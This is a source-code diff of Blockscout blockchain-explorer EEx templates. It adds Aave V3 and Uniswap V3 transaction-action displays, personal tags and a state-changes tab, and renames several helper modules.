    diff --git a/apps/block_scout_web/lib/block_scout_web/templates/tokens/transfer/index.html.eex b/apps/block_scout_web/lib/block_scout_web/templates/tokens/transfer/index.html.eex index f9d6cc62e926..5ea6121e395c 100644 --- a/apps/block_scout_web/lib/block_scout_web/templates/tokens/transfer/index.html.eex +++ b/apps/block_scout_web/lib/block_scout_web/templates/tokens/transfer/index.html.eex @@ -4,6 +4,7 @@ "_details.html", token: @token, counters_path: @counters_path, + tags: @tags, conn: @conn ) %> diff --git a/apps/block_scout_web/lib/block_scout_web/templates/transaction/_actions.html.eex b/apps/block_scout_web/lib/block_scout_web/templates/transaction/_actions.html.eex new file mode 100644 index 000000000000..391b9127a168 --- /dev/null +++ b/apps/block_scout_web/lib/block_scout_web/templates/transaction/_actions.html.eex @@ -0,0 +1,140 @@ +<%= if @action.protocol == :aave_v3 do %> + <%= if Enum.member?([:borrow, :supply, :withdraw, :repay, :flash_loan], @action.type) do %> +
    "> + + <% amount = formatted_action_amount(@action.data, "amount") %> + <% symbol = Map.get(@action.data, "symbol") %> + <% address = Map.get(@action.data, "address") %> + + + + <% symbol = if symbol != "Ether", do: link(symbol, to: token_path(BlockScoutWeb.Endpoint, :show, address), "data-test": "token_link"), else: raw(symbol) %> + + <%= if @action.type == :borrow do %> + <%= render BlockScoutWeb.TransactionView, "_actions_aave.html", action: "Borrow", amount: amount, symbol: symbol, tail: "From Aave Protocol V3" %> + <% end %> + <%= if @action.type == :supply do %> + <%= render BlockScoutWeb.TransactionView, "_actions_aave.html", action: "Supply", amount: amount, symbol: symbol, tail: "To Aave Protocol V3" %> + <% end %> + <%= if @action.type == :withdraw do %> + <%= render BlockScoutWeb.TransactionView, "_actions_aave.html", action: "Withdraw", amount: amount, symbol: symbol, tail: "From Aave Protocol V3" %> + <% end %> + <%= if @action.type == :repay do %> + <%= render BlockScoutWeb.TransactionView, "_actions_aave.html", action: "Repay", amount: amount, symbol: symbol, tail: "To Aave Protocol V3" %> + <% end %> + <%= if @action.type == :flash_loan do %> + <%= render BlockScoutWeb.TransactionView, "_actions_aave.html", action: "Flash Loan", amount: amount, symbol: symbol, tail: "From Aave Protocol V3" %> + <% end %> + +
    +
    + <% end %> + <%= if Enum.member?([:enable_collateral, :disable_collateral], @action.type) do %> +
    "> + + <% symbol = Map.get(@action.data, "symbol") %> + <% address = Map.get(@action.data, "address") %> + + + + <% symbol = if symbol != "Ether", do: link(symbol, to: token_path(BlockScoutWeb.Endpoint, :show, address), "data-test": "token_link"), else: raw(symbol) %> + + <%= if @action.type == :enable_collateral do %> + Enable + <% else %> + Disable + <% end %> + + <%= symbol %> as Collateral on Aave Protocol V3 + +
    +
    + <% end %> + <%= if @action.type == :liquidation_call do %> +
    "> + <% debt_amount = formatted_action_amount(@action.data, "debt_amount") %> + <% debt_symbol = Map.get(@action.data, "debt_symbol") %> + <% debt_address = Map.get(@action.data, "debt_address") %> + <% debt_symbol = if debt_symbol != "Ether", do: link(debt_symbol, to: token_path(BlockScoutWeb.Endpoint, :show, debt_address), "data-test": "token_link"), else: raw(debt_symbol) %> + + + + <%= render BlockScoutWeb.TransactionView, "_actions_aave.html", action: "Liquidator Repay", amount: debt_amount, symbol: debt_symbol, tail: "To Aave Protocol V3" %> + +
    + + <% collateral_amount = formatted_action_amount(@action.data, "collateral_amount") %> + <% collateral_symbol = Map.get(@action.data, "collateral_symbol") %> + <% collateral_address = Map.get(@action.data, "collateral_address") %> + <% collateral_symbol = if collateral_symbol != "Ether", do: link(collateral_symbol, to: token_path(BlockScoutWeb.Endpoint, :show, collateral_address), "data-test": "token_link"), else: raw(collateral_symbol) %> + + + + <%= render BlockScoutWeb.TransactionView, "_actions_aave.html", action: "Liquidation", amount: collateral_amount, symbol: collateral_symbol, tail: "On Aave Protocol V3" %> + +
    +
    + <% end %> +<% end %> +<%= if @action.protocol == :uniswap_v3 do %> + <%= if @action.type == :mint_nft do %> +
    "> + + + + <% address_string = Map.get(@action.data, "address") %> + <% {address_status, address} = transaction_action_string_to_address(address_string) %> + <% address = if address_status == :ok, do: render_to_string(BlockScoutWeb.AddressView, "_link.html", address: address, contract: Address.smart_contract?(address), use_custom_tooltip: false, trimmed: false), else: render_to_string(BlockScoutWeb.TransactionView, "_actions_address.html", address_string: address_string, action: @action) %> + <% to_address = Map.get(@action.data, "to") %> + <% to_content = raw(render_to_string BlockScoutWeb.TransactionView, "_actions_to.html", address: to_address) %> + <% to = link(to_content, to: address_path(BlockScoutWeb.Endpoint, :show, to_address), "data-test": "address_hash_link") %> + + <%= gettext("Mint of %{address} To %{to}", address: address, to: safe_to_string(to)) |> raw() %> + +
    + + <% token_ids = Map.get(@action.data, "ids") %> + <%= for id <- token_ids do %> + + + <% link_to_id = link id, to: token_instance_path(BlockScoutWeb.Endpoint, :show, address_string, id), "data-test": "token_link" %> + <%= gettext("%{qty} of Token ID [%{link_to_id}]", qty: 1, link_to_id: safe_to_string(link_to_id)) |> raw() %> + +
    + <% end %> +
    + <% end %> + <%= if Enum.member?([:mint, :burn, :collect, :swap], @action.type) do %> +
    "> + + <% amount0 = formatted_action_amount(@action.data, "amount0") %> + <% amount1 = formatted_action_amount(@action.data, "amount1") %> + + <% symbol0 = Map.get(@action.data, "symbol0") %> + <% address0 = Map.get(@action.data, "address0") %> + <% symbol1 = Map.get(@action.data, "symbol1") %> + <% address1 = Map.get(@action.data, "address1") %> + + + + <% symbol0 = if symbol0 != "Ether", do: link(symbol0, to: token_path(BlockScoutWeb.Endpoint, :show, address0), "data-test": "token_link"), else: raw(symbol0) %> + + <% symbol1 = if symbol1 != "Ether", do: link(symbol1, to: token_path(BlockScoutWeb.Endpoint, :show, address1), "data-test": "token_link"), else: raw(symbol1) %> + + <%= if @action.type == :mint do %> + <%= render BlockScoutWeb.TransactionView, "_actions_uniswap.html", action: "Add", amount0: amount0, symbol0: symbol0, conjunction: "And", amount1: amount1, symbol1: symbol1, tail: "Liquidity To Uniswap V3" %> + <% end %> + <%= if @action.type == :burn do %> + <%= render BlockScoutWeb.TransactionView, "_actions_uniswap.html", action: "Remove", amount0: amount0, symbol0: symbol0, conjunction: "And", amount1: amount1, symbol1: symbol1, tail: "Liquidity From Uniswap V3" %> + <% end %> + <%= if @action.type == :collect do %> + <%= render BlockScoutWeb.TransactionView, "_actions_uniswap.html", action: "Collect", amount0: amount0, symbol0: symbol0, conjunction: "And", amount1: amount1, symbol1: symbol1, tail: "From Uniswap V3" %> + <% end %> + <%= if @action.type == :swap do %> + <%= render BlockScoutWeb.TransactionView, "_actions_uniswap.html", action: "Swap", amount0: amount0, symbol0: symbol0, conjunction: "For", amount1: amount1, symbol1: symbol1, tail: "On Uniswap V3" %> + <% end %> + +
    +
    + <% end %> +<% end %> diff --git a/apps/block_scout_web/lib/block_scout_web/templates/transaction/_actions_aave.html.eex b/apps/block_scout_web/lib/block_scout_web/templates/transaction/_actions_aave.html.eex new file mode 100644 index 000000000000..7e1b70b886cf --- /dev/null +++ b/apps/block_scout_web/lib/block_scout_web/templates/transaction/_actions_aave.html.eex @@ -0,0 +1 @@ +<%= @action %> <%= @amount %> <%= @symbol %> <%= @tail %> \ No newline at end of file diff --git a/apps/block_scout_web/lib/block_scout_web/templates/transaction/_actions_address.html.eex b/apps/block_scout_web/lib/block_scout_web/templates/transaction/_actions_address.html.eex new file mode 100644 index 000000000000..ecb6fb7736ba --- /dev/null +++ b/apps/block_scout_web/lib/block_scout_web/templates/transaction/_actions_address.html.eex @@ -0,0 +1,13 @@ +<%= link to: address_path(BlockScoutWeb.Endpoint, :show, @address_string), "data-test": "address_hash_link" do %> + <% name = Map.get(@action.data, "name") %> + + <%= AddressView.short_string(name, 15) %> + <%= AddressView.short_string(name, 5) %> + + + <% symbol = Map.get(@action.data, "symbol") %> + + (<%= AddressView.short_string(symbol, 15) %>) + (<%= AddressView.short_string(symbol, 5) %>) + +<% end %> \ No newline at end of file diff --git a/apps/block_scout_web/lib/block_scout_web/templates/transaction/_actions_to.html.eex b/apps/block_scout_web/lib/block_scout_web/templates/transaction/_actions_to.html.eex new file mode 100644 index 000000000000..e370dbb32552 --- /dev/null +++ b/apps/block_scout_web/lib/block_scout_web/templates/transaction/_actions_to.html.eex @@ -0,0 +1,4 @@ + + <%= @address %> + <%= BlockScoutWeb.AddressView.trimmed_hash(@address) %> + \ No newline at end of file diff --git a/apps/block_scout_web/lib/block_scout_web/templates/transaction/_actions_uniswap.html.eex b/apps/block_scout_web/lib/block_scout_web/templates/transaction/_actions_uniswap.html.eex new file mode 100644 index 000000000000..f9b6b4837fd0 --- /dev/null +++ b/apps/block_scout_web/lib/block_scout_web/templates/transaction/_actions_uniswap.html.eex @@ -0,0 +1 @@ +<%= @action %> <%= @amount0 %> <%= @symbol0 %> <%= @conjunction %> <%= @amount1 %> <%= @symbol1 %> <%= @tail %> \ No newline at end of file diff --git a/apps/block_scout_web/lib/block_scout_web/templates/transaction/_decoded_input.html.eex b/apps/block_scout_web/lib/block_scout_web/templates/transaction/_decoded_input.html.eex index 741344e79b2a..3afb743db1d9 100644 --- a/apps/block_scout_web/lib/block_scout_web/templates/transaction/_decoded_input.html.eex +++ b/apps/block_scout_web/lib/block_scout_web/templates/transaction/_decoded_input.html.eex @@ -15,7 +15,7 @@ <% end %>
    <%= unless Enum.empty?(candidates) do %> -

    <%= gettext "Potential matches from our contract method database:" %>

    +

    <%= gettext "Potential matches from contract method database:" %>

    <%= gettext "IMPORTANT: This information is a best guess based on similar functions from other verified contracts." %> <%= gettext "To have guaranteed accuracy, use the link above to verify the contract's source code." %> diff --git a/apps/block_scout_web/lib/block_scout_web/templates/transaction/_decoded_input_body.html.eex b/apps/block_scout_web/lib/block_scout_web/templates/transaction/_decoded_input_body.html.eex index 3675d4c501a9..ad1d04b4f12f 100644 --- a/apps/block_scout_web/lib/block_scout_web/templates/transaction/_decoded_input_body.html.eex +++ b/apps/block_scout_web/lib/block_scout_web/templates/transaction/_decoded_input_body.html.eex @@ -50,9 +50,8 @@ <% end %> - <% value_with_links = BlockScoutWeb.ABIEncodedValueView.value_html(type, value, false)%> - <% string = template_to_string(value_with_no_links) %> -
    <%= if String.length(string) > max_length do %>
    <% input = trim(max_length, string) %><%= input[:show] %>...<%= input[:hide] %>
    <% else %><%= value_with_links %><% end %>
    + <% value_with_links = BlockScoutWeb.ABIEncodedValueView.value_html(type, value, false) %> +
    <%= if String.length(value_with_no_links) > max_length do %>
    <% input = trim(max_length, value_with_no_links) %><%= input[:show] %>...<%= input[:hide] %>
    <% else %><%= value_with_links %><% end %>
    <% end %> diff --git a/apps/block_scout_web/lib/block_scout_web/templates/transaction/_emission_reward_tile.html.eex b/apps/block_scout_web/lib/block_scout_web/templates/transaction/_emission_reward_tile.html.eex index 4fb50efeb5ed..c43c0e243f00 100644 --- a/apps/block_scout_web/lib/block_scout_web/templates/transaction/_emission_reward_tile.html.eex +++ b/apps/block_scout_web/lib/block_scout_web/templates/transaction/_emission_reward_tile.html.eex @@ -14,9 +14,9 @@ to: block_path(BlockScoutWeb.Endpoint, :show, @validator.block.hash), class: "text-truncate") %> - <%= @emission_funds |> BlockScoutWeb.AddressView.address_partial_selector(nil, @current_address) |> BlockScoutWeb.RenderHelpers.render_partial() %> + <%= @emission_funds |> BlockScoutWeb.AddressView.address_partial_selector(nil, @current_address) |> BlockScoutWeb.RenderHelper.render_partial() %> → - <%= @validator |> BlockScoutWeb.AddressView.address_partial_selector(nil, @current_address) |> BlockScoutWeb.RenderHelpers.render_partial() %> + <%= @validator |> BlockScoutWeb.AddressView.address_partial_selector(nil, @current_address) |> BlockScoutWeb.RenderHelper.render_partial() %> @@ -26,7 +26,7 @@
    - <%= @validator |> block_number() |> BlockScoutWeb.RenderHelpers.render_partial() %> + <%= @validator |> block_number() |> BlockScoutWeb.RenderHelper.render_partial() %>
    diff --git a/apps/block_scout_web/lib/block_scout_web/templates/transaction/_pending_tile.html.eex b/apps/block_scout_web/lib/block_scout_web/templates/transaction/_pending_tile.html.eex index afe4e00f27a2..e3b68d786d76 100644 --- a/apps/block_scout_web/lib/block_scout_web/templates/transaction/_pending_tile.html.eex +++ b/apps/block_scout_web/lib/block_scout_web/templates/transaction/_pending_tile.html.eex @@ -8,17 +8,17 @@
    <%= render BlockScoutWeb.TransactionView, "_link.html", transaction_hash: @transaction.hash %> - <%= render BlockScoutWeb.AddressView, "_link.html", address: @transaction.from_address, contract: BlockScoutWeb.AddressView.contract?(@transaction.from_address), use_custom_tooltip: false %> + <%= render BlockScoutWeb.AddressView, "_link.html", address: @transaction.from_address, contract: Address.smart_contract?(@transaction.from_address), use_custom_tooltip: false %> → <%= if @transaction.to_address_hash do %> - <%= render BlockScoutWeb.AddressView, "_link.html", address: @transaction.to_address, contract: BlockScoutWeb.AddressView.contract?(@transaction.to_address), use_custom_tooltip: false %> + <%= render BlockScoutWeb.AddressView, "_link.html", address: @transaction.to_address, contract: Address.smart_contract?(@transaction.to_address), use_custom_tooltip: false %> <% else %> <%= gettext("Contract Address Pending") %> <% end %> - <%= BlockScoutWeb.TransactionView.value(@transaction, include_label: false) %> <%= gettext "Ether" %> - <%= BlockScoutWeb.TransactionView.formatted_fee(@transaction, denomination: :ether, include_label: false) %> <%= gettext "TX Fee" %> + <%= BlockScoutWeb.TransactionView.value(@transaction, include_label: false) %> <%= Explorer.coin_name() %> + <%= BlockScoutWeb.TransactionView.formatted_fee(@transaction, denomination: :ether, include_label: false) %> <%= gettext "TX Fee" %>
    diff --git a/apps/block_scout_web/lib/block_scout_web/templates/transaction/_tabs.html.eex b/apps/block_scout_web/lib/block_scout_web/templates/transaction/_tabs.html.eex index 284498494291..75f28203e232 100644 --- a/apps/block_scout_web/lib/block_scout_web/templates/transaction/_tabs.html.eex +++ b/apps/block_scout_web/lib/block_scout_web/templates/transaction/_tabs.html.eex @@ -3,26 +3,32 @@ <%= link( gettext("Token Transfers"), class: "card-tab #{tab_status("token-transfers", @conn.request_path, @show_token_transfers)}", - to: AccessHelpers.get_path(@conn, :transaction_token_transfer_path, :index, @transaction) + to: AccessHelper.get_path(@conn, :transaction_token_transfer_path, :index, @transaction) ) %> <% end %> <%= link( gettext("Internal Transactions"), class: "card-tab #{tab_status("internal-transactions", @conn.request_path, @show_token_transfers)}", - to: AccessHelpers.get_path(@conn, :transaction_internal_transaction_path, :index, @transaction) + to: AccessHelper.get_path(@conn, :transaction_internal_transaction_path, :index, @transaction) ) %> <%= link( gettext("Logs"), class: "card-tab #{tab_status("logs", @conn.request_path)}", - to: AccessHelpers.get_path(@conn, :transaction_log_path, :index, @transaction), + to: AccessHelper.get_path(@conn, :transaction_log_path, :index, @transaction), "data-test": "transaction_logs_link" ) %> <%= link( gettext("Raw Trace"), class: "card-tab #{tab_status("raw-trace", @conn.request_path)}", - to: AccessHelpers.get_path(@conn, :transaction_raw_trace_path, :index, @transaction) + to: AccessHelper.get_path(@conn, :transaction_raw_trace_path, :index, @transaction) ) %> + <%= link( + gettext("State changes"), + class: "card-tab #{tab_status("state", @conn.request_path)}", + to: AccessHelper.get_path(@conn, :transaction_state_path, :index, @transaction) + ) + %> diff --git a/apps/block_scout_web/lib/block_scout_web/templates/transaction/_tile.html.eex b/apps/block_scout_web/lib/block_scout_web/templates/transaction/_tile.html.eex index a8faa835bfcd..78118d1fded8 100644 --- a/apps/block_scout_web/lib/block_scout_web/templates/transaction/_tile.html.eex +++ b/apps/block_scout_web/lib/block_scout_web/templates/transaction/_tile.html.eex @@ -1,11 +1,13 @@ <% status = transaction_status(@transaction) %> -<% error_in_internal_tx = @transaction.has_error_in_internal_txs %> +<% error_in_internal_transaction = @transaction.has_error_in_internal_transactions %> +<% current_user = AuthController.current_user(@conn) %> +<% transaction_tags = BlockScoutWeb.Models.GetTransactionTags.get_transaction_with_addresses_tags(@transaction, current_user) %>
    - <%= if error_in_internal_tx do %> + <%= if error_in_internal_transaction do %> <%= render BlockScoutWeb.CommonComponentsView, "_i_tooltip_2.html", text: gettext("Error in internal transactions"), additional_classes: ["color-inherit"] %> <% end %> @@ -31,18 +33,22 @@ <%= if method_name do %> <%= render BlockScoutWeb.FormView, "_tag.html", text: method_name, additional_classes: ["method", "ml-1"] %> <% end %> + <%= if transaction_tags.personal_transaction_tag && transaction_tags.personal_transaction_tag.name !== :error do %> + <%= render BlockScoutWeb.FormView, "_tag.html", text: transaction_tags.personal_transaction_tag.name, additional_classes: [tag_name_to_label(transaction_tags.personal_transaction_tag.name), "ml-1"] %> + <% end %> + <%= render BlockScoutWeb.AddressView, "_labels.html", tags: transaction_tags %>
    - <%= @transaction |> BlockScoutWeb.AddressView.address_partial_selector(:from, assigns[:current_address]) |> BlockScoutWeb.RenderHelpers.render_partial() %> + <%= @transaction |> BlockScoutWeb.AddressView.address_partial_selector(:from, assigns[:current_address]) |> BlockScoutWeb.RenderHelper.render_partial() %> → - <%= @transaction |> BlockScoutWeb.AddressView.address_partial_selector(:to, assigns[:current_address]) |> BlockScoutWeb.RenderHelpers.render_partial() %> + <%= @transaction |> BlockScoutWeb.AddressView.address_partial_selector(:to, assigns[:current_address]) |> BlockScoutWeb.RenderHelper.render_partial() %> - <%= value(@transaction, include_label: false) %> <%= gettext "Ether" %> + <%= value(@transaction, include_label: false) %> <%= Explorer.coin_name() %> - + <%= formatted_fee(@transaction, denomination: :ether, include_label: false) %> <%= gettext "TX Fee" %> @@ -72,9 +78,9 @@
    - <%= @transaction |> block_number() |> BlockScoutWeb.RenderHelpers.render_partial() %> + <%= @transaction |> block_number() |> BlockScoutWeb.RenderHelper.render_partial() %> - + <%= if from_or_to_address?(@transaction, assigns[:current_address]) do %> <%= if @transaction.from_address_hash == assigns[:current_address].hash do %> diff --git a/apps/block_scout_web/lib/block_scout_web/templates/transaction/_token_transfer.html.eex b/apps/block_scout_web/lib/block_scout_web/templates/transaction/_token_transfer.html.eex index 815d9bd82aea..31e853183e4c 100644 --- a/apps/block_scout_web/lib/block_scout_web/templates/transaction/_token_transfer.html.eex +++ b/apps/block_scout_web/lib/block_scout_web/templates/transaction/_token_transfer.html.eex @@ -12,11 +12,11 @@ <% end %> <% end %> - <%= @token_transfer |> BlockScoutWeb.AddressView.address_partial_selector(:from, @address, true) |> BlockScoutWeb.RenderHelpers.render_partial() %> + <%= @token_transfer |> BlockScoutWeb.AddressView.address_partial_selector(:from, @address, true) |> BlockScoutWeb.RenderHelper.render_partial() %> - <%= @token_transfer |> BlockScoutWeb.AddressView.address_partial_selector(:to, @address, true) |> BlockScoutWeb.RenderHelpers.render_partial() %> + <%= @token_transfer |> BlockScoutWeb.AddressView.address_partial_selector(:to, @address, true) |> BlockScoutWeb.RenderHelper.render_partial() %> diff --git a/apps/block_scout_web/lib/block_scout_web/templates/transaction/_total_transfers.html.eex b/apps/block_scout_web/lib/block_scout_web/templates/transaction/_total_transfers.html.eex index fd9efa4435af..e2933904c270 100644 --- a/apps/block_scout_web/lib/block_scout_web/templates/transaction/_total_transfers.html.eex +++ b/apps/block_scout_web/lib/block_scout_web/templates/transaction/_total_transfers.html.eex @@ -1,15 +1,15 @@ <%= case token_transfer_amount(@transfer) do %> <% {:ok, :erc721_instance} -> %> - <%= render BlockScoutWeb.TransactionView, "_transfer_token_with_id.html", transfer: @transfer, token_id: @transfer.token_id %> - <% {:ok, :erc1155_instance, value} -> %> + <%= render BlockScoutWeb.TransactionView, "_transfer_token_with_id.html", transfer: @transfer, token_id: List.first(@transfer.token_ids) %> + <% {:ok, :erc1155_erc404_instance, value} -> %> <% transfer_type = Chain.get_token_transfer_type(@transfer) %> <%= if transfer_type == :token_spawning do %> - <%= render BlockScoutWeb.TransactionView, "_transfer_token_with_id.html", transfer: @transfer, token_id: @transfer.token_id %> + <%= render BlockScoutWeb.TransactionView, "_transfer_token_with_id.html", transfer: @transfer, token_id: List.first(@transfer.token_ids) %> <% else %> <%= "#{value} " %> - <%= render BlockScoutWeb.TransactionView, "_transfer_token_with_id.html", transfer: @transfer, token_id: @transfer.token_id %> + <%= render BlockScoutWeb.TransactionView, "_transfer_token_with_id.html", transfer: @transfer, token_id: List.first(@transfer.token_ids) %> <% end %> - <% {:ok, :erc1155_instance, values, token_ids, _decimals} -> %> + <% {:ok, :erc1155_erc404_instance, values, token_ids, _decimals} -> %> <% values_ids = Enum.zip(values, token_ids) %> <%= for {value, token_id} <- values_ids do %>
    @@ -20,4 +20,4 @@ <% {:ok, value} -> %> <%= value %> <%= " " %><%= render BlockScoutWeb.TransactionView, "_link_to_token_symbol.html", transfer: @transfer %> -<% end %> \ No newline at end of file +<% end %> diff --git a/apps/block_scout_web/lib/block_scout_web/templates/transaction/_total_transfers_from_to.html.eex b/apps/block_scout_web/lib/block_scout_web/templates/transaction/_total_transfers_from_to.html.eex index 24e903669844..db68b6f09527 100644 --- a/apps/block_scout_web/lib/block_scout_web/templates/transaction/_total_transfers_from_to.html.eex +++ b/apps/block_scout_web/lib/block_scout_web/templates/transaction/_total_transfers_from_to.html.eex @@ -1,45 +1,48 @@ <%= with {:ok, from_address} <- Chain.hash_to_address(@transfer.from_address_hash), - {:ok, to_address} <- Chain.hash_to_address(@transfer.to_address_hash) do %> +{:ok, to_address} <- Chain.hash_to_address(@transfer.to_address_hash) do %> +<% from_tags = BlockScoutWeb.Models.GetAddressTags.get_address_tags(@transfer.from_address_hash, @current_user) %> +<% to_tags = BlockScoutWeb.Models.GetAddressTags.get_address_tags(@transfer.to_address_hash, @current_user) %> - - From - - - <%= render BlockScoutWeb.AddressView, "_link.html", address: from_address, contract: BlockScoutWeb.AddressView.contract?(from_address), use_custom_tooltip: false, trimmed: false %> - - - <%= render BlockScoutWeb.CommonComponentsView, "_btn_copy_for_table.html", - additional_classes: ["btn-copy-icon-small", "btn-copy-icon-custom", "btn-copy-icon-no-borders", "btn-copy-token-transfer"], - clipboard_text: from_address, - aria_label: gettext("Copy From Address"), - title: gettext("Copy From Address"), - style: "position: relative;" %> - + + From + + + <%= render BlockScoutWeb.AddressView, "_link.html", address: from_address, contract: Address.smart_contract?(from_address), use_custom_tooltip: false, trimmed: false %> + <%= render BlockScoutWeb.AddressView, "_labels.html", tags: from_tags %> + + + <%= render BlockScoutWeb.CommonComponentsView, "_btn_copy_for_table.html", +additional_classes: ["btn-copy-icon-small", "btn-copy-icon-custom", "btn-copy-icon-no-borders", "btn-copy-token-transfer"], +clipboard_text: from_address, +aria_label: gettext("Copy From Address"), +title: gettext("Copy From Address"), +style: "position: relative;" %> + - - To - - - <%= render BlockScoutWeb.AddressView, "_link.html", address: to_address, contract: BlockScoutWeb.AddressView.contract?(to_address), use_custom_tooltip: false, trimmed: false %> - - - - <%= render BlockScoutWeb.CommonComponentsView, "_btn_copy_for_table.html", - additional_classes: ["btn-copy-icon-small", "btn-copy-icon-custom", "btn-copy-icon-no-borders", "btn-copy-token-transfer"], - clipboard_text: to_address, - aria_label: gettext("Copy To Address"), - title: gettext("Copy To Address"), - style: "position: relative;"%> - + + To + + + <%= render BlockScoutWeb.AddressView, "_link.html", address: to_address, contract: Address.smart_contract?(to_address), use_custom_tooltip: false, trimmed: false %> + <%= render BlockScoutWeb.AddressView, "_labels.html", tags: to_tags %> + + + <%= render BlockScoutWeb.CommonComponentsView, "_btn_copy_for_table.html", +additional_classes: ["btn-copy-icon-small", "btn-copy-icon-custom", "btn-copy-icon-no-borders", "btn-copy-token-transfer"], +clipboard_text: to_address, +aria_label: gettext("Copy To Address"), +title: gettext("Copy To Address"), +style: "position: relative;"%> + - - For - - <% end %> - - <%= render BlockScoutWeb.TransactionView, "_total_transfers.html", transfer: @transfer %> - + + For + +<% end %> + + <%= render BlockScoutWeb.TransactionView, "_total_transfers.html", transfer: @transfer %> + - \ No newline at end of file + diff --git a/apps/block_scout_web/lib/block_scout_web/templates/transaction/index.html.eex b/apps/block_scout_web/lib/block_scout_web/templates/transaction/index.html.eex index 37f358b9e9e3..dad9e730ce7d 100644 --- a/apps/block_scout_web/lib/block_scout_web/templates/transaction/index.html.eex +++ b/apps/block_scout_web/lib/block_scout_web/templates/transaction/index.html.eex @@ -11,7 +11,7 @@

    <%= gettext "Validated Transactions" %>

    - <%= render BlockScoutWeb.CommonComponentsView, "_rap_pagination_container.html", position: "top", showing_limit: if Chain.transactions_available_count() == Chain.limit_showing_transactions(), do: Chain.limit_showing_transactions(), else: nil %> + <%= render BlockScoutWeb.CommonComponentsView, "_rap_pagination_container.html", position: "top", showing_limit: if(Chain.transactions_available_count() == Chain.limit_showing_transactions(), do: Chain.limit_showing_transactions(), else: nil) %>
    diff --git a/apps/block_scout_web/lib/block_scout_web/templates/transaction/invalid.html.eex b/apps/block_scout_web/lib/block_scout_web/templates/transaction/invalid.html.eex deleted file mode 100644 index 8ec41880a7ef..000000000000 --- a/apps/block_scout_web/lib/block_scout_web/templates/transaction/invalid.html.eex +++ /dev/null @@ -1,14 +0,0 @@ -
    -
    -
    -
    -
    -

    <%= gettext "Invalid Transaction Hash" %>

    -
    - <%= @transaction_hash %> <%= gettext "is not a valid transaction hash" %> -
    -
    -
    -
    -
    -
    diff --git a/apps/block_scout_web/lib/block_scout_web/templates/transaction/not_found.html.eex b/apps/block_scout_web/lib/block_scout_web/templates/transaction/not_found.html.eex index 97f721ec05da..440206247735 100644 --- a/apps/block_scout_web/lib/block_scout_web/templates/transaction/not_found.html.eex +++ b/apps/block_scout_web/lib/block_scout_web/templates/transaction/not_found.html.eex @@ -1,34 +1,16 @@ -
    +
    - Block Not Found + Transaction not found
    -
    -

    <%= gettext("Sorry, We are unable to locate this transaction Hash") %>

    -
    -
    -
    - 1 -

    <%= gettext("If you have just submitted this transaction please wait for at least 30 seconds before refreshing this page.") %>

    -
    -
    - 2 -

    <%= gettext("It could still be in the TX Pool of a different node, waiting to be broadcasted.") %>

    -
    -
    -
    -
    - 3 -

    <%= gettext("During times when the network is busy (i.e during ICOs) it can take a while for your transaction to propagate through the network and for us to index it.") %>

    -
    -
    - 4 -

    <%= gettext("If it still does not show up after 1 hour, please check with your sender/exchange/wallet/transaction provider for additional information.") %>

    -
    -
    -
    - <%= gettext("Back Home") %> +

    <%= gettext("Sorry, we are unable to locate this transaction hash") %>

    +
    +

    <%= gettext("1. If you have just submitted this transaction please wait for at least 30 seconds before refreshing this page.") %>

    +

    <%= gettext("2. It could still be in the TX Pool of a different node, waiting to be broadcasted.") %>

    +

    <%= gettext("3. During times when the network is busy (i.e during ICOs) it can take a while for your transaction to propagate through the network and for us to index it.") %>

    +

    <%= gettext("4. If it still does not show up after 1 hour, please check with your sender/exchange/wallet/transaction provider for additional information.") %>

    + <%= gettext("Back to home") %>
    -
    \ No newline at end of file +
    diff --git a/apps/block_scout_web/lib/block_scout_web/templates/transaction/overview.html.eex b/apps/block_scout_web/lib/block_scout_web/templates/transaction/overview.html.eex index 217b702e3526..2caf404faf1a 100644 --- a/apps/block_scout_web/lib/block_scout_web/templates/transaction/overview.html.eex +++ b/apps/block_scout_web/lib/block_scout_web/templates/transaction/overview.html.eex @@ -7,7 +7,7 @@ <% base_fee_per_gas = if block, do: block.base_fee_per_gas, else: nil %> <% max_priority_fee_per_gas = @transaction.max_priority_fee_per_gas %> <% max_fee_per_gas = @transaction.max_fee_per_gas %> -<% burned_fee = +<% burnt_fees = if !is_nil(max_fee_per_gas) and !is_nil(@transaction.gas_used) and !is_nil(base_fee_per_gas) do if Decimal.compare(max_fee_per_gas.value, 0) == :eq do %Wei{value: Decimal.new(0)} @@ -17,13 +17,13 @@ else nil end %> -<% %Wei{value: burned_fee_decimal} = if is_nil(burned_fee), do: %Wei{value: Decimal.new(0)}, else: burned_fee %> +<% %Wei{value: burnt_fee_decimal} = if is_nil(burnt_fees), do: %Wei{value: Decimal.new(0)}, else: burnt_fees %> <% priority_fee_per_gas = if is_nil(max_priority_fee_per_gas) or is_nil(base_fee_per_gas), do: nil, else: Enum.min_by([max_priority_fee_per_gas, Wei.sub(max_fee_per_gas, base_fee_per_gas)], fn x -> Wei.to(x, :wei) end) %> <% priority_fee = if is_nil(priority_fee_per_gas), do: nil, else: Wei.mult(priority_fee_per_gas, @transaction.gas_used) %> <% decoded_input_data = decoded_input_data(@transaction) %> <% status = transaction_status(@transaction) %> -<% circles_addresses_list = CustomContractsHelpers.get_custom_addresses_list(:circles_addresses) %> -<% address_hash_str = if to_address_hash, do: "0x" <> Base.encode16(to_address_hash.bytes, case: :lower), else: nil %> +<% circles_addresses_list = CustomContractsHelper.get_custom_addresses_list(:circles_addresses) %> +<% address_hash_string = if to_address_hash, do: "0x" <> Base.encode16(to_address_hash.bytes, case: :lower), else: nil %> <% {:ok, created_from_address} = if to_address_hash, do: Chain.hash_to_address(to_address_hash), else: {:ok, nil} %> <% created_from_address_hash_str = if from_address_hash(created_from_address), do: "0x" <> Base.encode16(from_address_hash(created_from_address).bytes, case: :lower), else: nil %> <%= render BlockScoutWeb.Advertisement.TextAdView, "index.html", conn: @conn %> @@ -34,7 +34,7 @@
    <%= cond do %> - <% Enum.member?(circles_addresses_list, address_hash_str) -> %> + <% Enum.member?(circles_addresses_list, address_hash_string) -> %>
    @@ -48,6 +48,11 @@

    <%= gettext "Transaction Details" %> + <% personal_transaction_tag = if assigns[:transaction_tags], do: @transaction_tags.personal_transaction_tag, else: nil %> + <%= if personal_transaction_tag && personal_transaction_tag.name !== :error do %> + <%= render BlockScoutWeb.FormView, "_tag.html", text: personal_transaction_tag.name, additional_classes: [tag_name_to_label(personal_transaction_tag.name), "ml-1"] %> + <% end %> + <%= render BlockScoutWeb.AddressView, "_labels.html", tags: @transaction_tags %>

